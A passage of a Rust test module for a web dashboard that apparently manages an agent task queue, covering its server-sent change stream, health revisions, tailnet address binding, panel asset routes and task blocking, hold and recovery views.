22906        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22907        // task-focus form of the hash - a plain `#queue` navigation only
22908        // flips which view is visible. openQueueSectionFocus() must
22909        // therefore call renderQueue() itself, and applyRoute() too so the
22910        // view flips even when the hash doesn't change (the Backlog may
22911        // already be open when a tile is tapped, firing no hashchange
22912        // event at all).
22913        assert!(
22914            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22915            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22916             hashchange event that may never fire"
22917        );
22918    }
22919
22920    #[tokio::test]
22921    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22922        let f = Fixture::start().await;
22923
22924        let mut socket = tokio::net::TcpStream::connect(f.addr)
22925            .await
22926            .expect("connect");
22927        socket
22928            .write_all(
22929                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22930            )
22931            .await
22932            .expect("write request");
22933
22934        // Read until the first event arrives rather than to end of stream: the
22935        // stream is endless by design, which is the point of the route.
22936        let mut seen = String::new();
22937        let mut buf = [0u8; 1024];
22938        while !seen.contains("event: change") {
22939            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22940                .await
22941                .expect("the stream must speak within five seconds")
22942                .expect("read");
22943            assert!(read > 0, "the server closed the change stream: {seen}");
22944            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22945        }
22946
22947        assert!(
22948            seen.to_lowercase()
22949                .contains("content-type: text/event-stream"),
22950            "the browser only reconnects automatically for a real SSE stream: {seen}"
22951        );
22952        let data = seen
22953            .lines()
22954            .find_map(|l| l.strip_prefix("data:"))
22955            .expect("a data line");
22956        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22957        assert!(
22958            payload["queue_rev"].is_u64()
22959                && payload["runs_rev"].is_u64()
22960                && payload["questions_rev"].is_u64()
22961                && payload["talks_rev"].is_u64()
22962                && payload["notifications_rev"].is_u64()
22963                && payload["loop_rev"].is_u64(),
22964            "the client needs one revision per store to know what to refetch, \
22965             and `talks_rev` is the only notification a standing talk gets - a \
22966             phone whose radio slept through a turn learns about it here, as \
22967             does one whose operator started the loop from another device: \
22968             {payload}"
22969        );
22970
22971        // The front end re-polls health on a timer and on wake, and takes the
22972        // revisions from that answer whenever the stream is not up. So health
22973        // has to carry every key the stream carries: a phone on a link that
22974        // will not hold an SSE connection is exactly the phone that must still
22975        // notice a question, and a missing key there is not a 500 but a UI
22976        // that quietly stops updating.
22977        let health = f.get("/api/health").await.json();
22978        for key in [
22979            "queue_rev",
22980            "runs_rev",
22981            "questions_rev",
22982            "talks_rev",
22983            "notifications_rev",
22984            "loop_rev",
22985        ] {
22986            assert!(
22987                health[key].is_u64(),
22988                "health is the change stream's fallback and is missing `{key}`: {health}"
22989            );
22990        }
22991    }
22992
22993    #[tokio::test]
22994    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22995        let home = TempDir::new().expect("temp home");
22996        let ui = delta_test_ui(home.path());
22997        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22998        // Establish the existing conversation's baseline before appending.
22999        // Wait on the stream's shared notification rather than repeatedly
23000        // rebuilding health (config, process and disk observations included).
23001        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23002        let mut changes = ui.monitor.broadcaster.subscribe();
23003        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23004        on_disk.turns.push(crate::talk::Turn {
23005            sender: None,
23006            breaks: Some(Vec::new()),
23007            messages: Vec::new(),
23008            posted_by: None,
23009            who: crate::talk::Who::Operator,
23010            body: "a new turn".to_owned(),
23011            at: Timestamp::now(),
23012            attachments: Vec::new(),
23013            usage: None,
23014        });
23015        ui.talks.put(&mut on_disk).expect("record a turn");
23016
23017        let after = tokio::time::timeout(Duration::from_secs(5), async {
23018            loop {
23019                let change = changes.recv().await.expect("monitor notification");
23020                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23021                if revision != before {
23022                    assert_eq!(
23023                        change.payload["talks_delta"]["changed"],
23024                        serde_json::json!([talk])
23025                    );
23026                    break revision;
23027                }
23028            }
23029        })
23030        .await
23031        .expect("shared monitor observes external turn");
23032        assert_ne!(
23033            before, after,
23034            "a phone must be able to notice a talk's reply without polling every store"
23035        );
23036        let Json(observed) = health(State(ui)).await.expect("health");
23037        assert_eq!(
23038            observed.talks_rev, after,
23039            "health exposes the same revision"
23040        );
23041    }
23042
23043    #[test]
23044    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23045        // The CLI shows the default in `--help` and parses whatever comes
23046        // back, so the two directions have to agree or `--bind auto` breaks
23047        // the moment someone copies the help text.
23048        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23049            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23050        }
23051        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23052        assert!("everywhere".parse::<Bind>().is_err());
23053    }
23054
23055    #[test]
23056    fn an_explicit_bind_address_is_taken_verbatim() {
23057        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23058
23059        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23060
23061        assert_eq!(addr, asked);
23062        assert!(
23063            warning.is_none(),
23064            "an operator who named an address gets no lecture"
23065        );
23066    }
23067
23068    #[test]
23069    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23070        let (addr, warning) = resolve_bind(&Bind::Auto);
23071
23072        // This has to hold on a CI runner with no `tailscale` and on a dev box
23073        // with one, so the invariant asserted is the one shared by both
23074        // outcomes: the address is either a real tailnet address offered
23075        // without comment, or loopback with an explanation. What must never
23076        // happen is a silent fallback - an operator told "listening on
23077        // 127.0.0.1" with no reason would go looking for a firewall.
23078        match addr {
23079            IpAddr::V4(ip) if is_tailnet(&ip) => {
23080                assert!(warning.is_none(), "a tailnet address needs no warning");
23081            }
23082            other => {
23083                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23084                let warning = warning.expect("a fallback has to explain itself");
23085                assert!(
23086                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23087                    "the warning says what happened and what it costs: {warning}"
23088                );
23089            }
23090        }
23091    }
23092
23093    #[test]
23094    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23095        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23096        // boundary cases are what stop us binding to some other tool's idea of
23097        // an address.
23098        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23099        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23100        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23101        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23102        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23103    }
23104
23105    #[test]
23106    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23107        let ids = vec![
23108            "20260902-140501-aaaa".to_owned(),
23109            "20260902-140502-aabb".to_owned(),
23110        ];
23111
23112        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23113        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23114        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23115
23116        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23117        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23118        assert_eq!(short, "20260902-140502-aabb");
23119    }
23120    #[tokio::test]
23121    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23122        // The prompt tells agents to reference attachments by bare filename.
23123        // A document served at `.../panel` resolves `shot.png` against its own
23124        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23125        // panel written exactly as instructed showed broken images. Caught by
23126        // looking at a real one in a browser, not by reading the code.
23127        let fx = Fixture::start().await;
23128        let id = panel(
23129            &fx,
23130            "<img src=\"shot.png\">",
23131            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23132        );
23133
23134        // The frame's own URL ends in a filename, so its siblings are reachable.
23135        let doc = fx
23136            .get(&format!("/api/questions/{id}/panel/index.html"))
23137            .await;
23138        assert_eq!(doc.status, 200, "{}", doc.body);
23139        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23140
23141        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23142        assert_eq!(sibling.status, 200, "{}", sibling.body);
23143        assert_eq!(sibling.header("content-type"), Some("image/png"));
23144        assert_eq!(
23145            sibling.header("content-security-policy"),
23146            Some(PANEL_CSP),
23147            "the sibling route must carry the same policy as the asset route"
23148        );
23149
23150        // The original spelling keeps working: HEAD on it is how the front end
23151        // decides whether to mount a frame at all.
23152        assert_eq!(
23153            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23154            200
23155        );
23156    }
23157
23158    #[test]
23159    fn delta_stamps_cover_add_update_remove_and_noop() {
23160        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23161        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23162        let delta = diff_stamps(&before, &after, 42);
23163        assert_eq!(delta.base, 42);
23164        assert_eq!(delta.changed, ["b", "c"]);
23165        assert_eq!(delta.removed, ["a"]);
23166        let same = diff_stamps(&after, &after, 43);
23167        assert!(same.changed.is_empty() && same.removed.is_empty());
23168        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23169        let nanos: Stamps = [("b".into(), (2, 20))].into();
23170        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23171        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23172        assert_eq!(stamps_revision(&Stamps::new()), 0);
23173    }
23174
23175    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23176        std::fs::create_dir_all(home.join("runs")).unwrap();
23177        Arc::new(
23178            Ui::new(
23179                Queue::at(home.join("queue")),
23180                Questions::at(home.join("questions")),
23181                Talks::at(home.join("talks")),
23182                home.join("runs"),
23183                home.to_owned(),
23184                PathBuf::from("/repo/magi"),
23185            )
23186            .with_worktrees_root(home.join("wt")),
23187        )
23188    }
23189
23190    #[test]
23191    fn monitor_scan_isolates_store_failures_and_recovers() {
23192        let home = TempDir::new().unwrap();
23193        let ui = delta_test_ui(home.path());
23194        std::fs::create_dir_all(ui.questions.root()).unwrap();
23195        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23196        let before = monitor_scan(&ui, None);
23197        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23198        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23199        std::fs::create_dir_all(ui.talks.root()).unwrap();
23200        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23201        let during = monitor_scan(&ui, Some(before.clone()));
23202        assert_eq!(during.0.2, before.0.2);
23203        assert_ne!(during.0.3, before.0.3);
23204        assert!(during.1[2].contains_key("new"));
23205        std::fs::remove_file(ui.questions.root()).unwrap();
23206        let after = monitor_scan(&ui, Some(during));
23207        assert_eq!(after.0.2, 0);
23208        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23209        // A failed first scan also permits healthy stores to publish.
23210        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23211        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23212    }
23213
23214    #[test]
23215    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23216        let home = TempDir::new().unwrap();
23217        let ui = delta_test_ui(home.path());
23218        let root = ui.queue.root();
23219        std::fs::create_dir_all(root).unwrap();
23220        let before = monitor_scan(&ui, None);
23221        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23222        let status = || {
23223            chat_inventory(&ui)
23224                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23225                .kind
23226        };
23227        assert_eq!(status(), crate::chat_status::Kind::Idle);
23228        std::fs::remove_dir(root).unwrap();
23229        std::fs::write(root, "not a directory").unwrap();
23230        let failed = monitor_scan(&ui, Some(before.clone()));
23231        assert_ne!(failed.0.3, before.0.3);
23232        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23233        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23234        std::fs::remove_file(root).unwrap();
23235        std::fs::create_dir(root).unwrap();
23236        let recovered = monitor_scan(&ui, Some(failed));
23237        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23238        assert_eq!(status(), crate::chat_status::Kind::Idle);
23239    }
23240
23241    #[tokio::test]
23242    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23243        let home = TempDir::new().unwrap();
23244        let ui = delta_test_ui(home.path());
23245        let mut task = Task::new(
23246            "stream task".into(),
23247            "text".into(),
23248            PathBuf::from("/repo"),
23249            Source::Human,
23250        );
23251        ui.queue.put(&mut task).unwrap();
23252        let response = events(State(ui.clone())).await.into_response();
23253        let mut stream = response.into_body().into_data_stream();
23254        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23255            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23256                .await
23257                .unwrap()
23258                .unwrap()
23259                .unwrap();
23260            let text = String::from_utf8(chunk.to_vec()).unwrap();
23261            let data = text
23262                .lines()
23263                .find_map(|line| {
23264                    line.strip_prefix("data: ")
23265                        .or_else(|| line.strip_prefix("data:"))
23266                })
23267                .unwrap();
23268            serde_json::from_str(data).unwrap()
23269        }
23270        let initial = change(&mut stream).await;
23271        assert!(initial.get("queue_delta").is_none());
23272        task.instruction.push_str(" changed");
23273        ui.queue.put(&mut task).unwrap();
23274        let updated = change(&mut stream).await;
23275        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23276        assert_eq!(
23277            updated["queue_delta"]["changed"],
23278            serde_json::json!([task.id])
23279        );
23280        assert_eq!(
23281            updated["queue_rev"].as_u64(),
23282            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23283        );
23284        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23285        let removed = change(&mut stream).await;
23286        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23287        assert_eq!(
23288            removed["queue_delta"]["removed"],
23289            serde_json::json!([task.id])
23290        );
23291    }
23292
23293    #[tokio::test]
23294    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23295        let home = TempDir::new().unwrap();
23296        let ui = delta_test_ui(home.path());
23297        let queue = ui.queue.clone();
23298        let query = |ids: Option<&str>| {
23299            Query(ListQuery {
23300                limit: Some(2),
23301                ids: ids.map(str::to_owned),
23302            })
23303        };
23304        let mut root = Task::new(
23305            "root".into(),
23306            "instruction".into(),
23307            PathBuf::from("/repo"),
23308            Source::Human,
23309        );
23310        queue.put(&mut root).unwrap();
23311        let mut blocked = Task::new(
23312            "blocked".into(),
23313            "instruction".into(),
23314            PathBuf::from("/repo"),
23315            Source::Human,
23316        );
23317        blocked.block(vec![root.id.clone()], None);
23318        queue.put(&mut blocked).unwrap();
23319        let whole =
23320            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23321                .unwrap();
23322        let subset = serde_json::to_value(
23323            queue_list(State(ui.clone()), query(Some(&root.id)))
23324                .await
23325                .unwrap()
23326                .0,
23327        )
23328        .unwrap();
23329        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23330        let blockers = serde_json::to_value(
23331            queue_list(State(ui.clone()), query(Some("")))
23332                .await
23333                .unwrap()
23334                .0,
23335        )
23336        .unwrap();
23337        assert_eq!(blockers.as_array().unwrap().len(), 1);
23338        assert_eq!(blockers[0]["id"], blocked.id);
23339        assert_eq!(
23340            blockers[0]["waits_on"],
23341            whole
23342                .as_array()
23343                .unwrap()
23344                .iter()
23345                .find(|row| row["id"] == blocked.id)
23346                .unwrap()["waits_on"]
23347        );
23348
23349        for id in [
23350            "20260902-140501-aaaa",
23351            "20260902-140502-bbbb",
23352            "20260902-140503-cccc",
23353        ] {
23354            write_run(&ui.runs, id, RunStatus::Merged);
23355        }
23356        let old = serde_json::to_value(
23357            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23358                .await
23359                .unwrap()
23360                .0,
23361        )
23362        .unwrap();
23363        assert!(
23364            old.as_array().unwrap().is_empty(),
23365            "older updates must not enter the window"
23366        );
23367        let newest = serde_json::to_value(
23368            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23369                .await
23370                .unwrap()
23371                .0,
23372        )
23373        .unwrap();
23374        assert_eq!(newest.as_array().unwrap().len(), 1);
23375        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23376
23377        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23378        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23379        let talks = serde_json::to_value(
23380            talks_list(
23381                State(ui.clone()),
23382                query(Some("20260905-000000-d4e5")),
23383                header::HeaderMap::new(),
23384            )
23385            .await
23386            .unwrap()
23387            .0,
23388        )
23389        .unwrap();
23390        assert_eq!(talks.as_array().unwrap().len(), 1);
23391        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23392        assert_eq!(
23393            serde_json::to_value(
23394                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23395                    .await
23396                    .unwrap()
23397                    .0
23398            )
23399            .unwrap(),
23400            serde_json::json!([])
23401        );
23402    }
23403
23404    #[tokio::test]
23405    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23406    async fn delta_payload_benchmark() {
23407        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23408        let ui = delta_test_ui(&home);
23409        let query = |ids: Option<String>| {
23410            Query(ListQuery {
23411                limit: Some(50),
23412                ids,
23413            })
23414        };
23415        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23416        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23417        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23418            .await
23419            .unwrap()
23420            .0;
23421        let queue_id = queue
23422            .iter()
23423            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23424            .unwrap_or(&queue[0])
23425            .task
23426            .id
23427            .clone();
23428        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23429            .await
23430            .unwrap()
23431            .0;
23432        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23433            .await
23434            .unwrap()
23435            .0;
23436        let talks_delta = talks_list(
23437            State(ui.clone()),
23438            query(Some(talks[0].id.clone())),
23439            header::HeaderMap::new(),
23440        )
23441        .await
23442        .unwrap()
23443        .0;
23444        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23445        eprintln!(
23446            "DELTA_PAYLOAD {}",
23447            serde_json::json!({
23448                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23449                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23450                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23451                "counts": [queue.len(), runs.len(), talks.len()],
23452                "blocked": queue_delta.len() - 1,
23453            })
23454        );
23455    }
23456
23457    #[test]
23458    fn runs_revision_moves_when_deleting_an_older_run() {
23459        let temp = TempDir::new().expect("tempdir");
23460        let runs = temp.path().join("runs");
23461        std::fs::create_dir_all(&runs).expect("create runs dir");
23462
23463        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23464
23465        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23466        std::thread::sleep(Duration::from_millis(10));
23467        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23468
23469        let rev_before = runs_revision(&runs);
23470        assert!(rev_before > 0);
23471
23472        let old_dir = runs.join("20260901-100000-old1");
23473        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23474
23475        let rev_after = runs_revision(&runs);
23476        assert_ne!(
23477            rev_before, rev_after,
23478            "deleting an older run must change the revision so other clients see the deletion"
23479        );
23480    }
23481
23482    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23483    /// process-global home entirely — `RunState::save` writes through
23484    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23485    /// (see `tests::home_lock` in the integration suite for why).
23486    fn write_state(runs: &FsPath, state: &RunState) {
23487        let dir = runs.join(&state.id);
23488        std::fs::create_dir_all(&dir).expect("run dir");
23489        std::fs::write(
23490            dir.join("run.json"),
23491            serde_json::to_string_pretty(state).expect("serialize run"),
23492        )
23493        .expect("write run.json");
23494    }
23495
23496    /// A seat starting or finishing is a write to `run.json` like any other,
23497    /// so it moves the same revision the change stream already watches —
23498    /// nothing new for `/api/events` to learn, but the property this feature
23499    /// depends on to reach the phone without a poll.
23500    #[test]
23501    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23502        let temp = TempDir::new().expect("tempdir");
23503        let runs = temp.path().join("runs");
23504        std::fs::create_dir_all(&runs).expect("create runs dir");
23505        let mut state = RunState::new(
23506            PathBuf::from("/repo/magi"),
23507            "main".to_owned(),
23508            "0123456789abcdef".to_owned(),
23509            "task".to_owned(),
23510            Config::default(),
23511        );
23512        state.id = "20260902-100000-c0de".to_owned();
23513        write_state(&runs, &state);
23514
23515        let rev_idle = runs_revision(&runs);
23516        std::thread::sleep(Duration::from_millis(10));
23517        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23518        write_state(&runs, &state);
23519        let rev_started = runs_revision(&runs);
23520        assert_ne!(
23521            rev_idle, rev_started,
23522            "a seat starting must move the revision"
23523        );
23524
23525        std::thread::sleep(Duration::from_millis(10));
23526        state.seat_finished("judge-1");
23527        write_state(&runs, &state);
23528        let rev_finished = runs_revision(&runs);
23529        assert_ne!(
23530            rev_started, rev_finished,
23531            "and clearing it again must move the revision a second time"
23532        );
23533    }
23534
23535    #[tokio::test]
23536    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23537        // `TaskView` flattens `Task`, so this is really asserting that
23538        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23539        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23540        // never touched web.rs, so nothing here caught it if it had.
23541        let fx = Fixture::start().await;
23542        let q = fx.queue();
23543
23544        let mut t = Task::new(
23545            "Task".to_owned(),
23546            "Instruction".to_owned(),
23547            PathBuf::from("/repo"),
23548            Source::Human,
23549        );
23550        t.block(
23551            vec!["20260101-000000-dead".to_owned()],
23552            Some("waiting on Task 1".to_owned()),
23553        );
23554        t.answers.push(crate::queue::AnsweredQuestion {
23555            question: "Which backend?".to_owned(),
23556            answer: "SQLite".to_owned(),
23557        });
23558        q.put(&mut t).expect("put t");
23559
23560        let res = fx.get("/api/queue").await;
23561        assert_eq!(res.status, 200);
23562        let list = res.json();
23563        let view = list
23564            .as_array()
23565            .expect("array")
23566            .iter()
23567            .find(|v| v["id"] == t.id)
23568            .expect("task in list");
23569        assert_eq!(view["status_str"], "blocked");
23570        assert_eq!(
23571            view["blocked_by"],
23572            serde_json::json!(["20260101-000000-dead"])
23573        );
23574        assert_eq!(view["block_reason"], "waiting on Task 1");
23575        assert_eq!(view["answers"][0]["question"], "Which backend?");
23576        assert_eq!(view["answers"][0]["answer"], "SQLite");
23577
23578        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23579        // but never `answers` - that is a settled decision, not state
23580        // describing the current block, so it survives.
23581        let res = fx
23582            .post(&format!("/api/queue/{}/hold", t.short()), None)
23583            .await;
23584        assert_eq!(res.status, 200);
23585        let held = res.json();
23586        assert_eq!(held["status_str"], "held");
23587        assert_eq!(held["blocked_by"], serde_json::json!([]));
23588        assert!(held["block_reason"].is_null());
23589        assert_eq!(held["answers"][0]["answer"], "SQLite");
23590    }
23591
23592    #[tokio::test]
23593    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23594        let fx = Fixture::start().await;
23595        let queue = fx.queue();
23596        let questions = fx.questions();
23597        let mut task = Task::new(
23598            "Disk recovery".into(),
23599            "Inspect".into(),
23600            PathBuf::from("/repo"),
23601            Source::Human,
23602        );
23603        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23604        task.mark_disk_capacity();
23605        queue.put(&mut task).unwrap();
23606        let mut records = Vec::new();
23607        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23608            let mut q = Question::new(
23609                task.id.clone(),
23610                node.into(),
23611                "triage".into(),
23612                "Resume recovery?".into(),
23613                String::new(),
23614                vec![],
23615            );
23616            q.routed_task = Some(task.id.clone());
23617            questions.put(&mut q).unwrap();
23618            records.push(q);
23619        }
23620        let url = format!("/api/queue/{}", task.id);
23621        let view = fx.get(&url).await.json();
23622        assert_eq!(view["status_str"], "held");
23623        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23624        assert!(
23625            view["recovery"]
23626                .as_str()
23627                .unwrap()
23628                .contains("Disk recovery alone will not resume")
23629        );
23630        assert!(
23631            view["recovery"]
23632                .as_str()
23633                .unwrap()
23634                .contains("Disk wait (automatically monitored)")
23635        );
23636        for blocker in view["blockers"].as_array().unwrap() {
23637            assert!(blocker["destination"].is_null());
23638            assert!(
23639                blocker["next"]
23640                    .as_str()
23641                    .unwrap()
23642                    .contains("pending delivery")
23643            );
23644        }
23645        for q in &mut records {
23646            q.routed_chat = Some("owning-chat".into());
23647            questions.put(q).unwrap();
23648        }
23649        let view = fx.get(&url).await.json();
23650        for blocker in view["blockers"].as_array().unwrap() {
23651            assert_eq!(
23652                blocker["destination"],
23653                serde_json::json!(["chat", "owning-chat"])
23654            );
23655            assert_eq!(blocker["resolves_itself"], false);
23656        }
23657        // Answered routed decisions can still be awaiting task-chat application.
23658        for q in &mut records {
23659            q.status = ask::QuestionStatus::Answered;
23660            questions.put(q).unwrap();
23661        }
23662        assert!(crate::triage::pending_for(&questions, &task));
23663        let view = fx.get(&url).await.json();
23664        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23665        assert!(
23666            view["blockers"][0]["next"]
23667                .as_str()
23668                .unwrap()
23669                .contains("not yet applied")
23670        );
23671        for q in &records {
23672            task.mark_triage_applied(&q.id);
23673        }
23674        queue.put(&mut task).unwrap();
23675        assert!(!crate::triage::pending_for(&questions, &task));
23676        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23677        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23678    }
23679
23680    #[test]
23681    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23682        use crate::queue::HoldSource;
23683        let mut task = Task::new(
23684            "Recovery".into(),
23685            "Inspect".into(),
23686            PathBuf::from("/repo"),
23687            Source::Human,
23688        );
23689        assert!(task_recovery(&task).is_none());
23690        task.hold_manual(Some("Operator paused".into()));
23691        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23692        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23693        let text = task_recovery(&task).unwrap();
23694        assert!(text.contains("restores held"));
23695        assert!(text.contains("clears its dependency references"));
23696        task.hold_source = Some(HoldSource::Machine);
23697        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23698        task.mark_disk_capacity();
23699        let view = TaskView::with_inventory(
23700            task.clone(),
23701            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23702        );
23703        let json = serde_json::to_value(view).unwrap();
23704        assert_eq!(json["block_reason"], "Decision needed");
23705        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23706        let recovery = json["recovery"].as_str().unwrap();
23707        assert!(recovery.contains("not current capacity"));
23708        assert!(recovery.contains("triage rechecks"));
23709        assert_eq!(json["blockers"][0]["state"], "missing");
23710        task.blocked_from = Some(TaskStatus::Queued);
23711        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23712        task.blocked_from = None;
23713        assert!(task_recovery(&task).unwrap().contains("restores held"));
23714    }
23715
23716    #[tokio::test]
23717    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23718        let fx = Fixture::start().await;
23719        let q = fx.queue();
23720        let mk = |title: &str| {
23721            Task::new(
23722                title.to_owned(),
23723                "Instruction".to_owned(),
23724                PathBuf::from("/repo"),
23725                Source::Human,
23726            )
23727        };
23728        let mut root = mk("root");
23729        root.hold_manual(Some("waiting".to_owned()));
23730        q.put(&mut root).unwrap();
23731        let mut mid = mk("mid");
23732        mid.block(vec![root.id.clone()], None);
23733        q.put(&mut mid).unwrap();
23734        let mut leaf = mk("leaf");
23735        leaf.block(vec![mid.id.clone()], None);
23736        q.put(&mut leaf).unwrap();
23737
23738        let list = fx.get("/api/queue").await.json();
23739        let find = |id: &str| {
23740            list.as_array()
23741                .unwrap()
23742                .iter()
23743                .find(|v| v["id"] == id)
23744                .unwrap()
23745                .clone()
23746        };
23747        let leaf_view = find(&leaf.id);
23748        assert_eq!(
23749            leaf_view["waits_on"],
23750            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23751        );
23752        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23753        assert_eq!(
23754            find(&mid.id)["waits_on"],
23755            serde_json::json!([format!("{} (held)", root.short())])
23756        );
23757        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23758    }
23759
23760    #[tokio::test]
23761    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23762        let fx = Fixture::start().await;
23763        let q = fx.queue();
23764
23765        // 1. A queued task with runs attached can be deleted.
23766        let mut t1 = Task::new(
23767            "Task 1".to_owned(),
23768            "Instruction 1".to_owned(),
23769            PathBuf::from("/repo"),
23770            Source::Human,
